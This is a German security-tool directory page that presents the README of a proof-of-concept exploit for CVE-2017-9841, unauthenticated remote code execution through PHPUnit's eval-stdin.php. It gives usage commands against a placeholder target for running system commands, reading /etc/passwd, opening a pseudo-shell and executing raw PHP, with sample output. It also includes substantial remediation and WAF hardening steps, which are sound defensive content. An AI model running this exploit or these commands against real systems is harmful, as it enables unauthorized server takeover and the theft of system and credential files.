Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 ist eine Remote Code Execution (RCE)-Schwachstelle in der PHPUnit-Bibliothek, die Versionen vor 5.6.3 und 6.x vor 6.4.2 betrifft. | Kitploit
Tools/GitHubGitHub
/krisdewa
/cve-2017-9841-phpunit-remote-code-execution-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 ist eine Remote Code Execution (RCE)-Schwachstelle in der PHPUnit-Bibliothek, die Versionen vor 5.6.3 und 6.x vor 6.4.2 betrifft.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-9841 — PoC für Remote Code Execution (RCE) in PHPUnit

⚠️ HAFTUNGSAUSSCHLUSS: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist rechtswidrig. Der Autor übernimmt keinerlei Haftung für Missbrauch dieses Tools.


Überblick

CVE-2017-9841 ist eine Remote-Code-Execution-Schwachstelle (RCE) in der Bibliothek PHPUnit, die Versionen vor 5.6.3 sowie 6.x vor 6.4.2 betrifft.

Die Schwachstelle befindet sich in der Datei src/Util/PHP/eval-stdin.php, die per php://input (POST-Body) empfangenen PHP-Code mithilfe der Funktion eval() ausführt. Wenn diese Datei öffentlich zugänglich ist (z. B. innerhalb eines ungeschützten vendor/-Verzeichnisses), kann ein Angreifer ohne Authentifizierung beliebigen PHP-Code auf dem Server ausführen.

Details zur Schwachstelle

FeldWert
CVE-IDCVE-2017-9841
CVSS-Score9.8 (Kritisch)
BetroffenPHPUnit < 5.6.3, 6.x < 6.4.2
TypRemote Code Execution (RCE)
AuthentifizierungNicht erforderlich
VektorNetzwerk (remote)
Veröffentlicht27. Juni 2017
ReferenzNVD

Verwundbarer Code

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Diese Datei akzeptiert PHP-Code aus dem POST-Body und führt ihn sofort über eval() aus – ohne Authentifizierung oder Validierung.


Installation

Voraussetzungen

  • Python 3.6+
  • requests-Bibliothek
root@kitploit:~
pip install requests

Einrichtung

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Verwendung

Grundlegende Syntax

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

Das -u-Flag akzeptiert sowohl eine Basis-URL (der verwundbare Pfad wird automatisch angehängt) als auch eine vollständige URL, die direkt auf eval-stdin.php zeigt.

1. Schwachstellenprüfung (ohne Befehlsausführung)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Ausgabe:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Befehlsausführung

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Serverinformationen (schreibgeschützt)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Ausgabe:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Interaktive Pseudo-Shell

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Ausgabe:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Verwundbaren Pfad automatisch finden

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Benutzerdefinierter Pfad

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. Vollständige URL zu eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Rohen PHP-Code ausführen

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Optionen-Referenz

FlagBeschreibung
-u, --url URLZiel-Basis-URL oder vollständige URL zu eval-stdin.php
-c, --cmd CMDCLI-Befehl, der auf dem Zielserver ausgeführt werden soll
--checkPrüft, ob das Ziel verwundbar ist, ohne Befehle auszuführen
--shellÖffnet eine pseudo-interaktive Shell
--infoSammelt Serverinformationen (schreibgeschützt)
--find-pathDurchsucht gängige Pfade, um eval-stdin.php zu finden
--path PATHGibt einen benutzerdefinierten Pfad zu eval-stdin.php an
--timeout NRequest-Timeout in Sekunden (Standard: 30)
-o, --output FILESpeichert die Befehlsausgabe in einer Datei
--php CODEFührt rohen PHP-Code anstelle von Systembefehlen aus

Behebung

Sofortmaßnahmen (jetzt durchführen)

1. Die verwundbare Datei löschen

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Zugriff auf das Vendor-Verzeichnis blockieren

Fügen Sie eine .htaccess-Datei im vendor/-Verzeichnis hinzu:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

Oder konfigurieren Sie es in Ihrem Apache-VirtualHost:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Für Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Entwicklungsabhängigkeiten aus der Produktion entfernen

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

Kurzfristige Härtung

4. disable_functions in der php.ini aktivieren

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. open_basedir aktivieren

root@kitploit:~
; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. max_execution_time reduzieren

root@kitploit:~
max_execution_time = 30

7. PHP-FPM neu starten

root@kitploit:~
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

Langfristige Härtung

8. PHPUnit aktualisieren

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. WAF-Regeln implementieren

ModSecurity-Beispiel:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. CI/CD-Pipeline härten

root@kitploit:~
# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Angriffsablauf-Diagramm

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Erschwerende Faktoren

Die folgenden Bedingungen erhöhen die Schwere und Ausnutzbarkeit dieser Schwachstelle erheblich:

FaktorAuswirkung
disable_functions ist leerAlle PHP-Funktionen sind verfügbar (system, exec, usw.)
open_basedir ist nicht gesetztAngreifer kann Dateien im gesamten Dateisystem lesen/schreiben
Hohes max_execution_timeAngreifer hat pro Anfrage mehr Zeit für komplexe Payloads
FFI-Erweiterung geladenErmöglicht direkte C-Funktionsaufrufe und umgeht PHP-Einschränkungen
Datenbank-Erweiterungen geladenDirekte Datenbankverbindungen möglich (mysqli, pgsql, usw.)
Keine WAF eingesetztKeine Anfragefilterung oder -blockierung
Kein IDS/IPS vorhandenKeine Anomalieerkennung oder Alarmierung
Dev-Abhängigkeiten in der ProduktionErweitert die Angriffsfläche unnötig

Referenzen

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

Lizenz

Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.

Tool herunterladen